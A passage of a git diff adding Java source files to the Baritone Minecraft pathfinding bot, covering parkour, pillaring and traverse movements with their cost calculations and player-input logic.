baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.utils.BlockStateInterface; +import baritone.utils.pathing.MutableMoveResult; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.block.StairsBlock; +import net.minecraft.fluid.WaterFluid; +import net.minecraft.util.Direction; + +import java.util.HashSet; +import java.util.Set; + +public class MovementParkour extends Movement { + + private static final BetterBlockPos[] EMPTY = new BetterBlockPos[]{}; + + private final Direction direction; + private final int dist; + private final boolean ascend; + + private MovementParkour(IBaritone baritone, BetterBlockPos src, int dist, Direction dir, boolean ascend) { + super(baritone, src, src.offset(dir, dist).up(ascend ? 1 : 0), EMPTY, src.offset(dir, dist).down(ascend ? 0 : 1)); + this.direction = dir; + this.dist = dist; + this.ascend = ascend; + } + + public static MovementParkour cost(CalculationContext context, BetterBlockPos src, Direction direction) { + MutableMoveResult res = new MutableMoveResult(); + cost(context, src.x, src.y, src.z, direction, res); + int dist = Math.abs(res.x - src.x) + Math.abs(res.z - src.z); + return new MovementParkour(context.getBaritone(), src, dist, direction, res.y > src.y); + } + + public static void cost(CalculationContext context, int x, int y, int z, Direction dir, MutableMoveResult res) { + if (!context.allowParkour) { + return; + } + if (y == 256 && !context.allowJumpAt256) { + return; + } + + int xDiff = dir.getXOffset(); + int zDiff = dir.getZOffset(); + if (!MovementHelper.fullyPassable(context, x + xDiff, y, z + zDiff)) { + // most common case at the top -- the adjacent block isn't air + return; + } + BlockState adj = context.get(x + xDiff, y - 1, z + zDiff); + if (MovementHelper.canWalkOn(context, x + xDiff, y - 1, z + zDiff, adj)) { // don't parkour if we could just traverse (for now) + // second most common case -- we could just traverse not parkour + return; + } + if (MovementHelper.avoidWalkingInto(adj) && !(adj.getFluidState().getFluid() instanceof WaterFluid)) { // magma sucks + return; + } + if (!MovementHelper.fullyPassable(context, x + xDiff, y + 1, z + zDiff)) { + return; + } + if (!MovementHelper.fullyPassable(context, x + xDiff, y + 2, z + zDiff)) { + return; + } + if (!MovementHelper.fullyPassable(context, x, y + 2, z)) { + return; + } + BlockState standingOn = context.get(x, y - 1, z); + if (standingOn.getBlock() == Blocks.VINE || standingOn.getBlock() == Blocks.LADDER || standingOn.getBlock() instanceof StairsBlock || MovementHelper.isBottomSlab(standingOn)) { + return; + } + // we can't jump from (frozen) water with assumeWalkOnWater because we can't be sure it will be frozen + if (context.assumeWalkOnWater && !standingOn.getFluidState().isEmpty()) { + return; + } + if (!context.get(x, y, z).getFluidState().isEmpty()) { + return; // can't jump out of water + } + int maxJump; + if (standingOn.getBlock() == Blocks.SOUL_SAND) { + maxJump = 2; // 1 block gap + } else { + if (context.canSprint) { + maxJump = 4; + } else { + maxJump = 3; + } + } + + // check parkour jumps from smallest to largest for obstacles/walls and landing positions + int verifiedMaxJump = 1; // i - 1 (when i = 2) + for (int i = 2; i <= maxJump; i++) { + int destX = x + xDiff * i; + int destZ = z + zDiff * i; + + // check head/feet + if (!MovementHelper.fullyPassable(context, destX, y + 1, destZ)) { + break; + } + if (!MovementHelper.fullyPassable(context, destX, y + 2, destZ)) { + break; + } + + // check for ascend landing position + BlockState destInto = context.bsi.get0(destX, y, destZ); + if (!MovementHelper.fullyPassable(context, destX, y, destZ, destInto)) { + if (i <= 3 && context.allowParkourAscend && context.canSprint && MovementHelper.canWalkOn(context, destX, y, destZ, destInto) && checkOvershootSafety(context.bsi, destX + xDiff, y + 1, destZ + zDiff)) { + res.x = destX; + res.y = y + 1; + res.z = destZ; + res.cost = i * SPRINT_ONE_BLOCK_COST + context.jumpPenalty; + return; + } + break; + } + + // check for flat landing position + BlockState landingOn = context.bsi.get0(destX, y - 1, destZ); + // farmland needs to be canWalkOn otherwise farm can never work at all, but we want to specifically disallow ending a jump on farmland haha + // frostwalker works here because we can't jump from possibly unfrozen water + if ((landingOn.getBlock() != Blocks.FARMLAND && MovementHelper.canWalkOn(context, destX, y - 1, destZ, landingOn)) + || (Math.min(16, context.frostWalker + 2) >= i && MovementHelper.canUseFrostWalker(context, landingOn)) + ) { + if (checkOvershootSafety(context.bsi, destX + xDiff, y, destZ + zDiff)) { + res.x = destX; + res.y = y; + res.z = destZ; + res.cost = costFromJumpDistance(i) + context.jumpPenalty; + return; + } + break; + } + + if (!MovementHelper.fullyPassable(context, destX, y + 3, destZ)) { + break; + } + + verifiedMaxJump = i; + } + + // parkour place starts here + if (!context.allowParkourPlace) { + return; + } + // check parkour jumps from largest to smallest for positions to place blocks + for (int i = verifiedMaxJump; i > 1; i--) { + int destX = x + i * xDiff; + int destZ = z + i * zDiff; + BlockState toReplace = context.get(destX, y - 1, destZ); + double placeCost = context.costOfPlacingAt(destX, y - 1, destZ, toReplace); + if (placeCost >= COST_INF) { + continue; + } + if (!MovementHelper.isReplaceable(destX, y - 1, destZ, toReplace, context.bsi)) { + continue; + } + if (!checkOvershootSafety(context.bsi, destX + xDiff, y, destZ + zDiff)) { + continue; + } + for (int j = 0; j < 5; j++) { + int againstX = destX + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[j].getXOffset(); + int againstY = y - 1 + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[j].getYOffset(); + int againstZ = destZ + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[j].getZOffset(); + if (againstX == destX - xDiff && againstZ == destZ - zDiff) { // we can't turn around that fast + continue; + } + if (MovementHelper.canPlaceAgainst(context.bsi, againstX, againstY, againstZ)) { + res.x = destX; + res.y = y; + res.z = destZ; + res.cost = costFromJumpDistance(i) + placeCost + context.jumpPenalty; + return; + } + } + } + } + + private static boolean checkOvershootSafety(BlockStateInterface bsi, int x, int y, int z) { + // we're going to walk into these two blocks after the landing of the parkour anyway, so make sure they aren't avoidWalkingInto + return !MovementHelper.avoidWalkingInto(bsi.get0(x, y, z)) && !MovementHelper.avoidWalkingInto(bsi.get0(x, y + 1, z)); + } + + private static double costFromJumpDistance(int dist) { + switch (dist) { + case 2: + return WALK_ONE_BLOCK_COST * 2; // IDK LOL + case 3: + return WALK_ONE_BLOCK_COST * 3; + case 4: + return SPRINT_ONE_BLOCK_COST * 4; + default: + throw new IllegalStateException("LOL " + dist); + } + } + + + @Override + public double calculateCost(CalculationContext context) { + MutableMoveResult res = new MutableMoveResult(); + cost(context, src.x, src.y, src.z, direction, res); + if (res.x != dest.x || res.y != dest.y || res.z != dest.z) { + return COST_INF; + } + return res.cost; + } + + @Override + protected Set calculateValidPositions() { + Set set = new HashSet<>(); + for (int i = 0; i <= dist; i++) { + for (int y = 0; y < 2; y++) { + set.add(src.offset(direction, i).up(y)); + } + } + return set; + } + + @Override + public boolean safeToCancel(MovementState state) { + // once this movement is instantiated, the state is default to PREPPING + // but once it's ticked for the first time it changes to RUNNING + // since we don't really know anything about momentum, it suffices to say Parkour can only be canceled on the 0th tick + return state.getStatus() != MovementStatus.RUNNING; + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + if (ctx.playerFeet().y < src.y) { + // we have fallen + logDebug("sorry"); + return state.setStatus(MovementStatus.UNREACHABLE); + } + if (dist >= 4 || ascend) { + state.setInput(Input.SPRINT, true); + } + MovementHelper.moveTowards(ctx, state, dest); + if (ctx.playerFeet().equals(dest)) { + Block d = BlockStateInterface.getBlock(ctx, dest); + if (d == Blocks.VINE || d == Blocks.LADDER) { + // it physically hurt me to add support for parkour jumping onto a vine + // but i did it anyway + return state.setStatus(MovementStatus.SUCCESS); + } + if (ctx.player().getPositionVec().y - ctx.playerFeet().getY() < 0.094) { // lilypads + state.setStatus(MovementStatus.SUCCESS); + } + } else if (!ctx.playerFeet().equals(src)) { + if (ctx.playerFeet().equals(src.offset(direction)) || ctx.player().getPositionVec().y - src.y > 0.0001) { + if (Baritone.settings().allowPlace.value // see PR #3775 + && ((Baritone) baritone).getInventoryBehavior().hasGenericThrowaway() + && !MovementHelper.canWalkOn(ctx, dest.down()) + && !ctx.player().isOnGround() + && MovementHelper.attemptToPlaceABlock(state, baritone, dest.down(), true, false) == PlaceResult.READY_TO_PLACE + ) { + // go in the opposite order to check DOWN before all horizontals -- down is preferable because you don't have to look to the side while in midair, which could mess up the trajectory + state.setInput(Input.CLICK_RIGHT, true); + } + // prevent jumping too late by checking for ascend + if (dist == 3 && !ascend) { // this is a 2 block gap, dest = src + direction * 3 + double xDiff = (src.x + 0.5) - ctx.player().getPositionVec().x; + double zDiff = (src.z + 0.5) - ctx.player().getPositionVec().z; + double distFromStart = Math.max(Math.abs(xDiff), Math.abs(zDiff)); + if (distFromStart < 0.7) { + return state; + } + } + + state.setInput(Input.JUMP, true); + } else if (!ctx.playerFeet().equals(dest.offset(direction, -1))) { + state.setInput(Input.SPRINT, false); + if (ctx.playerFeet().equals(src.offset(direction, -1))) { + MovementHelper.moveTowards(ctx, state, src); + } else { + MovementHelper.moveTowards(ctx, state, src.offset(direction, -1)); + } + } + } + return state; + } +} diff --git a/src/baritone/pathing/movement/movements/MovementPillar.java b/src/baritone/pathing/movement/movements/MovementPillar.java new file mode 100644 index 00000000..858dc673 --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementPillar.java @@ -0,0 +1,285 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Rotation; +import baritone.api.utils.RotationUtils; +import baritone.api.utils.VecUtils; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.utils.BlockStateInterface; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.*; +import net.minecraft.state.properties.SlabType; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.Set; + +public class MovementPillar extends Movement { + + public MovementPillar(IBaritone baritone, BetterBlockPos start, BetterBlockPos end) { + super(baritone, start, end, new BetterBlockPos[]{start.up(2)}, start); + } + + @Override + public double calculateCost(CalculationContext context) { + return cost(context, src.x, src.y, src.z); + } + + @Override + protected Set calculateValidPositions() { + return ImmutableSet.of(src, dest); + } + + public static double cost(CalculationContext context, int x, int y, int z) { + BlockState fromState = context.get(x, y, z); + Block from = fromState.getBlock(); + boolean ladder = from == Blocks.LADDER || from == Blocks.VINE; + BlockState fromDown = context.get(x, y - 1, z); + if (!ladder) { + if (fromDown.getBlock() == Blocks.LADDER || fromDown.getBlock() == Blocks.VINE) { + return COST_INF; // can't pillar from a ladder or vine onto something that isn't also climbable + } + if (fromDown.getBlock() instanceof SlabBlock && fromDown.get(SlabBlock.TYPE) == SlabType.BOTTOM) { + return COST_INF; // can't pillar up from a bottom slab onto a non ladder + } + } + if (from == Blocks.VINE && !hasAgainst(context, x, y, z)) { // TODO this vine can't be climbed, but we could place a pillar still since vines are replacable, no? perhaps the pillar jump would be impossible because of the slowdown actually. + return COST_INF; + } + BlockState toBreak = context.get(x, y + 2, z); + Block toBreakBlock = toBreak.getBlock(); + if (toBreakBlock instanceof FenceGateBlock) { // see issue #172 + return COST_INF; + } + BlockState srcUp = null; + if (MovementHelper.isWater(toBreak) && MovementHelper.isWater(fromState)) { // TODO should this also be allowed if toBreakBlock is air? + srcUp = context.get(x, y + 1, z); + if (MovementHelper.isWater(srcUp)) { + return LADDER_UP_ONE_COST; // allow ascending pillars of water, but only if we're already in one + } + } + double placeCost = 0; + if (!ladder) { + // we need to place a block where we started to jump on it + placeCost = context.costOfPlacingAt(x, y, z, fromState); + if (placeCost >= COST_INF) { + return COST_INF; + } + if (fromDown.getBlock() instanceof AirBlock) { + placeCost += 0.1; // slightly (1/200th of a second) penalize pillaring on what's currently air + } + } + if ((MovementHelper.isLiquid(fromState) && !MovementHelper.canPlaceAgainst(context.bsi, x, y - 1, z, fromDown)) || (MovementHelper.isLiquid(fromDown) && context.assumeWalkOnWater)) { + // otherwise, if we're standing in water, we cannot pillar + // if we're standing on water and assumeWalkOnWater is true, we cannot pillar + // if we're standing on water and assumeWalkOnWater is false, we must have ascended to here, or sneak backplaced, so it is possible to pillar again + return COST_INF; + } + if ((from == Blocks.LILY_PAD || from instanceof CarpetBlock) && !fromDown.getFluidState().isEmpty()) { + // to ascend here we'd have to break the block we are standing on + return COST_INF; + } + double hardness = MovementHelper.getMiningDurationTicks(context, x, y + 2, z, toBreak, true); + if (hardness >= COST_INF) { + return COST_INF; + } + if (hardness != 0) { + if (toBreakBlock == Blocks.LADDER || toBreakBlock == Blocks.VINE) { + hardness = 0; // we won't actually need to break the ladder / vine because we're going to use it + } else { + BlockState check = context.get(x, y + 3, z); // the block on top of the one we're going to break, could it fall on us? + if (check.getBlock() instanceof FallingBlock) { + // see MovementAscend's identical check for breaking a falling block above our head + if (srcUp == null) { + srcUp = context.get(x, y + 1, z); + } + if (!(toBreakBlock instanceof FallingBlock) || !(srcUp.getBlock() instanceof FallingBlock)) { + return COST_INF; + } + } + // this is commented because it may have had a purpose, but it's very unclear what it was. it's from the minebot era. + //if (!MovementHelper.canWalkOn(context, chkPos, check) || MovementHelper.canWalkThrough(context, chkPos, check)) {//if the block above where we want to break is not a full block, don't do it + // TODO why does canWalkThrough mean this action is COST_INF? + // FallingBlock makes sense, and !canWalkOn deals with weird cases like if it were lava + // but I don't understand why canWalkThrough makes it impossible + // return COST_INF; + //} + } + } + if (ladder) { + return LADDER_UP_ONE_COST + hardness * 5; + } else { + return JUMP_ONE_BLOCK_COST + placeCost + context.jumpPenalty + hardness; + } + } + + public static boolean hasAgainst(CalculationContext context, int x, int y, int z) { + return MovementHelper.isBlockNormalCube(context.get(x + 1, y, z)) || + MovementHelper.isBlockNormalCube(context.get(x - 1, y, z)) || + MovementHelper.isBlockNormalCube(context.get(x, y, z + 1)) || + MovementHelper.isBlockNormalCube(context.get(x, y, z - 1)); + } + + public static BlockPos getAgainst(CalculationContext context, BetterBlockPos vine) { + if (MovementHelper.isBlockNormalCube(context.get(vine.north()))) { + return vine.north(); + } + if (MovementHelper.isBlockNormalCube(context.get(vine.south()))) { + return vine.south(); + } + if (MovementHelper.isBlockNormalCube(context.get(vine.east()))) { + return vine.east(); + } + if (MovementHelper.isBlockNormalCube(context.get(vine.west()))) { + return vine.west(); + } + return null; + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + + if (ctx.playerFeet().y < src.y) { + return state.setStatus(MovementStatus.UNREACHABLE); + } + + BlockState fromDown = BlockStateInterface.get(ctx, src); + if (MovementHelper.isWater(fromDown) && MovementHelper.isWater(ctx, dest)) { + // stay centered while swimming up a water column + state.setTarget(new MovementState.MovementTarget(RotationUtils.calcRotationFromVec3d(ctx.playerHead(), VecUtils.getBlockPosCenter(dest), ctx.playerRotations()), false)); + Vector3d destCenter = VecUtils.getBlockPosCenter(dest); + if (Math.abs(ctx.player().getPositionVec().x - destCenter.x) > 0.2 || Math.abs(ctx.player().getPositionVec().z - destCenter.z) > 0.2) { + state.setInput(Input.MOVE_FORWARD, true); + } + if (ctx.playerFeet().equals(dest)) { + return state.setStatus(MovementStatus.SUCCESS); + } + return state; + } + boolean ladder = fromDown.getBlock() == Blocks.LADDER || fromDown.getBlock() == Blocks.VINE; + boolean vine = fromDown.getBlock() == Blocks.VINE; + Rotation rotation = RotationUtils.calcRotationFromVec3d(ctx.playerHead(), + VecUtils.getBlockPosCenter(positionToPlace), + ctx.playerRotations()); + if (!ladder) { + state.setTarget(new MovementState.MovementTarget(ctx.playerRotations().withPitch(rotation.getPitch()), true)); + } + + boolean blockIsThere = MovementHelper.canWalkOn(ctx, src) || ladder; + if (ladder) { + BlockPos against = vine ? getAgainst(new CalculationContext(baritone), src) : src.offset(fromDown.get(LadderBlock.FACING).getOpposite()); + if (against == null) { + logDirect("Unable to climb vines. Consider disabling allowVines."); + return state.setStatus(MovementStatus.UNREACHABLE); + } + + if (ctx.playerFeet().equals(against.up()) || ctx.playerFeet().equals(dest)) { + return state.setStatus(MovementStatus.SUCCESS); + } + if (MovementHelper.isBottomSlab(BlockStateInterface.get(ctx, src.down()))) { + state.setInput(Input.JUMP, true); + } + /* + if (thePlayer.getPosition0().getX() != from.getX() || thePlayer.getPosition0().getZ() != from.getZ()) { + Baritone.moveTowardsBlock(from); + } + */ + + MovementHelper.moveTowards(ctx, state, against); + return state; + } else { + // Get ready to place a throwaway block + if (!((Baritone) baritone).getInventoryBehavior().selectThrowawayForLocation(true, src.x, src.y, src.z)) { + return state.setStatus(MovementStatus.UNREACHABLE); + } + + + state.setInput(Input.SNEAK, ctx.player().getPositionVec().y > dest.getY() || ctx.player().getPositionVec().y < src.getY() + 0.2D); // delay placement by 1 tick for ncp compatibility + // since (lower down) we only right click once player.isSneaking, and that happens the tick after we request to sneak + + double diffX = ctx.player().getPositionVec().x - (dest.getX() + 0.5); + double diffZ = ctx.player().getPositionVec().z - (dest.getZ() + 0.5); + double dist = Math.sqrt(diffX * diffX + diffZ * diffZ); + double flatMotion = Math.sqrt(ctx.player().getMotion().x * ctx.player().getMotion().x + ctx.player().getMotion().z * ctx.player().getMotion().z); + if (dist > 0.17) {//why 0.17? because it seemed like a good number, that's why + //[explanation added after baritone port lol] also because it needs to be less than 0.2 because of the 0.3 sneak limit + //and 0.17 is reasonably less than 0.2 + + // If it's been more than forty ticks of trying to jump and we aren't done yet, go forward, maybe we are stuck + state.setInput(Input.MOVE_FORWARD, true); + + // revise our target to both yaw and pitch if we're going to be moving forward + state.setTarget(new MovementState.MovementTarget(rotation, true)); + } else if (flatMotion < 0.05) { + // If our Y coordinate is above our goal, stop jumping + state.setInput(Input.JUMP, ctx.player().getPositionVec().y < dest.getY()); + } + + + if (!blockIsThere) { + BlockState frState = BlockStateInterface.get(ctx, src); + Block fr = frState.getBlock(); + // TODO: Evaluate usage of getMaterial().isReplaceable() + if (!(fr instanceof AirBlock || frState.getMaterial().isReplaceable())) { + RotationUtils.reachable(ctx, src, ctx.playerController().getBlockReachDistance()) + .map(rot -> new MovementState.MovementTarget(rot, true)) + .ifPresent(state::setTarget); + state.setInput(Input.JUMP, false); // breaking is like 5x slower when you're jumping + state.setInput(Input.CLICK_LEFT, true); + blockIsThere = false; + } else if (ctx.player().isCrouching() && (ctx.isLookingAt(src.down()) || ctx.isLookingAt(src)) && ctx.player().getPositionVec().y > dest.getY() + 0.1) { + state.setInput(Input.CLICK_RIGHT, true); + } + } + } + + // If we are at our goal and the block below us is placed + if (ctx.playerFeet().equals(dest) && blockIsThere) { + return state.setStatus(MovementStatus.SUCCESS); + } + + return state; + } + + @Override + protected boolean prepared(MovementState state) { + if (ctx.playerFeet().equals(src) || ctx.playerFeet().equals(src.down())) { + Block block = BlockStateInterface.getBlock(ctx, src.down()); + if (block == Blocks.LADDER || block == Blocks.VINE) { + state.setInput(Input.SNEAK, true); + } + } + if (MovementHelper.isWater(ctx, dest.up())) { + return true; + } + return super.prepared(state); + } +} diff --git a/src/baritone/pathing/movement/movements/MovementTraverse.java b/src/baritone/pathing/movement/movements/MovementTraverse.java new file mode 100644 index 00000000..b345c627 --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementTraverse.java @@ -0,0 +1,370 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Rotation; +import baritone.api.utils.RotationUtils; +import baritone.api.utils.VecUtils; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.utils.BlockStateInterface; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.*; +import net.minecraft.state.properties.SlabType; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; + +import java.util.Optional; +import java.util.Set; + +public class MovementTraverse extends Movement { + + /** + * Did we have to place a bridge block or was it always there + */ + private boolean wasTheBridgeBlockAlwaysThere = true; + + public MovementTraverse(IBaritone baritone, BetterBlockPos from, BetterBlockPos to) { + super(baritone, from, to, new BetterBlockPos[]{to.up(), to}, to.down()); + } + + @Override + public void reset() { + super.reset(); + wasTheBridgeBlockAlwaysThere = true; + } + + @Override + public double calculateCost(CalculationContext context) { + return cost(context, src.x, src.y, src.z, dest.x, dest.z); + } + + @Override + protected Set calculateValidPositions() { + return ImmutableSet.of(src, dest); + } + + public static double cost(CalculationContext context, int x, int y, int z, int destX, int destZ) { + BlockState pb0 = context.get(destX, y + 1, destZ); + BlockState pb1 = context.get(destX, y, destZ); + BlockState destOn = context.get(destX, y - 1, destZ); + BlockState srcDown = context.get(x, y - 1, z); + Block srcDownBlock = srcDown.getBlock(); + boolean standingOnABlock = MovementHelper.mustBeSolidToWalkOn(context, x, y - 1, z, srcDown); + boolean frostWalker = standingOnABlock && !context.assumeWalkOnWater && MovementHelper.canUseFrostWalker(context, destOn); + if (frostWalker || MovementHelper.canWalkOn(context, destX, y - 1, destZ, destOn)) { //this is a walk, not a bridge + double WC = WALK_ONE_BLOCK_COST; + boolean water = false; + if (MovementHelper.isWater(pb0) || MovementHelper.isWater(pb1)) { + WC = context.waterWalkSpeed; + water = true; + } else { + if (destOn.getBlock() == Blocks.SOUL_SAND) { + WC += (WALK_ONE_OVER_SOUL_SAND_COST - WALK_ONE_BLOCK_COST) / 2; + } else if (frostWalker) { + // with frostwalker we can walk on water without the penalty, if we are sure we won't be using jesus + } else if (destOn.getBlock() == Blocks.WATER) { + WC += context.walkOnWaterOnePenalty; + } + if (srcDownBlock == Blocks.SOUL_SAND) { + WC += (WALK_ONE_OVER_SOUL_SAND_COST - WALK_ONE_BLOCK_COST) / 2; + } + } + double hardness1 = MovementHelper.getMiningDurationTicks(context, destX, y, destZ, pb1, false); + if (hardness1 >= COST_INF) { + return COST_INF; + } + double hardness2 = MovementHelper.getMiningDurationTicks(context, destX, y + 1, destZ, pb0, true); // only include falling on the upper block to break + if (hardness1 == 0 && hardness2 == 0) { + if (!water && context.canSprint) { + // If there's nothing in the way, and this isn't water, and we aren't sneak placing + // We can sprint =D + // Don't check for soul sand, since we can sprint on that too + WC *= SPRINT_MULTIPLIER; + } + return WC; + } + if (srcDownBlock == Blocks.LADDER || srcDownBlock == Blocks.VINE) { + hardness1 *= 5; + hardness2 *= 5; + } + return WC + hardness1 + hardness2; + } else {//this is a bridge, so we need to place a block + if (srcDownBlock == Blocks.LADDER || srcDownBlock == Blocks.VINE) { + return COST_INF; + } + if (MovementHelper.isReplaceable(destX, y - 1, destZ, destOn, context.bsi)) { + boolean throughWater = MovementHelper.isWater(pb0) || MovementHelper.isWater(pb1); + if (MovementHelper.isWater(destOn) && throughWater) { + // this happens when assume walk on water is true and this is a traverse in water, which isn't allowed + return COST_INF; + } + double placeCost = context.costOfPlacingAt(destX, y - 1, destZ, destOn); + if (placeCost >= COST_INF) { + return COST_INF; + } + double hardness1 = MovementHelper.getMiningDurationTicks(context, destX, y, destZ, pb1, false); + if (hardness1 >= COST_INF) { + return COST_INF; + } + double hardness2 = MovementHelper.getMiningDurationTicks(context, destX, y + 1, destZ, pb0, true); // only include falling on the upper block to break + double WC = throughWater ? context.waterWalkSpeed : WALK_ONE_BLOCK_COST; + for (int i = 0; i < 5; i++) { + int againstX = destX + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i].getXOffset(); + int againstY = y - 1 + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i].getYOffset(); + int againstZ = destZ + HORIZONTALS_BUT_ALSO_DOWN_____SO_EVERY_DIRECTION_EXCEPT_UP[i].getZOffset(); + if (againstX == x && againstZ == z) { // this would be a backplace + continue; + } + if (MovementHelper.canPlaceAgainst(context.bsi, againstX, againstY, againstZ)) { // found a side place option + return WC + placeCost + hardness1 + hardness2; + } + } + // now that we've checked all possible directions to side place, we actually need to backplace + if (srcDownBlock == Blocks.SOUL_SAND || (srcDownBlock instanceof SlabBlock && srcDown.get(SlabBlock.TYPE) != SlabType.DOUBLE)) { + return COST_INF; // can't sneak and backplace against soul sand or half slabs (regardless of whether it's top half or bottom half) =/ + } + if (!standingOnABlock) { // standing on water / swimming + return COST_INF; // this is obviously impossible + } + Block blockSrc = context.getBlock(x, y, z); + if ((blockSrc == Blocks.LILY_PAD || blockSrc instanceof CarpetBlock) && !srcDown.getFluidState().isEmpty()) { + return COST_INF; // we can stand on these but can't place against them + } + WC = WC * (SNEAK_ONE_BLOCK_COST / WALK_ONE_BLOCK_COST);//since we are sneak backplacing, we are sneaking lol + return WC + placeCost + hardness1 + hardness2; + } + return COST_INF; + } + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + BlockState pb0 = BlockStateInterface.get(ctx, positionsToBreak[0]); + BlockState pb1 = BlockStateInterface.get(ctx, positionsToBreak[1]); + if (state.getStatus() != MovementStatus.RUNNING) { + // if the setting is enabled + if (!Baritone.settings().walkWhileBreaking.value) { + return state; + } + // and if we're prepping (aka mining the block in front) + if (state.getStatus() != MovementStatus.PREPPING) { + return state; + } + // and if it's fine to walk into the blocks in front + if (MovementHelper.avoidWalkingInto(pb0)) { + return state; + } + if (MovementHelper.avoidWalkingInto(pb1)) { + return state; + } + // and we aren't already pressed up against the block + double dist = Math.max(Math.abs(ctx.player().getPositionVec().x - (dest.getX() + 0.5D)), Math.abs(ctx.player().getPositionVec().z - (dest.getZ() + 0.5D))); + if (dist < 0.83) { + return state; + } + if (!state.getTarget().getRotation().isPresent()) { + // this can happen rarely when the server lags and doesn't send the falling sand entity until you've already walked through the block and are now mining the next one + return state; + } + + // combine the yaw to the center of the destination, and the pitch to the specific block we're trying to break + // it's safe to do this since the two blocks we break (in a traverse) are right on top of each other and so will have the same yaw + float yawToDest = RotationUtils.calcRotationFromVec3d(ctx.playerHead(), VecUtils.calculateBlockCenter(ctx.world(), dest), ctx.playerRotations()).getYaw(); + float pitchToBreak = state.getTarget().getRotation().get().getPitch(); + if ((MovementHelper.isBlockNormalCube(pb0) || pb0.getBlock() instanceof AirBlock && (MovementHelper.isBlockNormalCube(pb1) || pb1.getBlock() instanceof AirBlock))) { + // in the meantime, before we're right up against the block, we can break efficiently at this angle + pitchToBreak = 26; + } + + return state.setTarget(new MovementState.MovementTarget(new Rotation(yawToDest, pitchToBreak), true)) + .setInput(Input.MOVE_FORWARD, true) + .setInput(Input.SPRINT, true); + } + + //sneak may have been set to true in the PREPPING state while mining an adjacent block + state.setInput(Input.SNEAK, false); + + Block fd = BlockStateInterface.get(ctx, src.down()).getBlock(); + boolean ladder = fd == Blocks.LADDER || fd == Blocks.VINE; + + if (pb0.getBlock() instanceof DoorBlock || pb1.getBlock() instanceof DoorBlock) { + boolean notPassable = pb0.getBlock() instanceof DoorBlock && !MovementHelper.isDoorPassable(ctx, src, dest) || pb1.getBlock() instanceof DoorBlock && !MovementHelper.isDoorPassable(ctx, dest, src); + boolean canOpen = !(Blocks.IRON_DOOR.equals(pb0.getBlock()) || Blocks.IRON_DOOR.equals(pb1.getBlock())); + + if (notPassable && canOpen) { + return state.setTarget(new MovementState.MovementTarget(RotationUtils.calcRotationFromVec3d(ctx.playerHead(), VecUtils.calculateBlockCenter(ctx.world(), positionsToBreak[0]), ctx.playerRotations()), true)) + .setInput(Input.CLICK_RIGHT, true); + } + } + + if (pb0.getBlock() instanceof FenceGateBlock || pb1.getBlock() instanceof FenceGateBlock) { + BlockPos blocked = !MovementHelper.isGatePassable(ctx, positionsToBreak[0], src.up()) ? positionsToBreak[0] + : !MovementHelper.isGatePassable(ctx, positionsToBreak[1], src) ? positionsToBreak[1] + : null; + if (blocked != null) { + Optional rotation = RotationUtils.reachable(ctx, blocked); + if (rotation.isPresent()) { + return state.setTarget(new MovementState.MovementTarget(rotation.get(), true)).setInput(Input.CLICK_RIGHT, true); + } + } + } + + boolean isTheBridgeBlockThere = MovementHelper.canWalkOn(ctx, positionToPlace) || ladder || MovementHelper.canUseFrostWalker(ctx, positionToPlace); + BlockPos feet = ctx.playerFeet(); + if (feet.getY() != dest.getY() && !ladder) { + logDebug("Wrong Y coordinate"); + if (feet.getY() < dest.getY()) { + return state.setInput(Input.JUMP, true); + } + return state; + } + + if (isTheBridgeBlockThere) { + if (feet.equals(dest)) { + return state.setStatus(MovementStatus.SUCCESS); + } + if (Baritone.settings().overshootTraverse.value 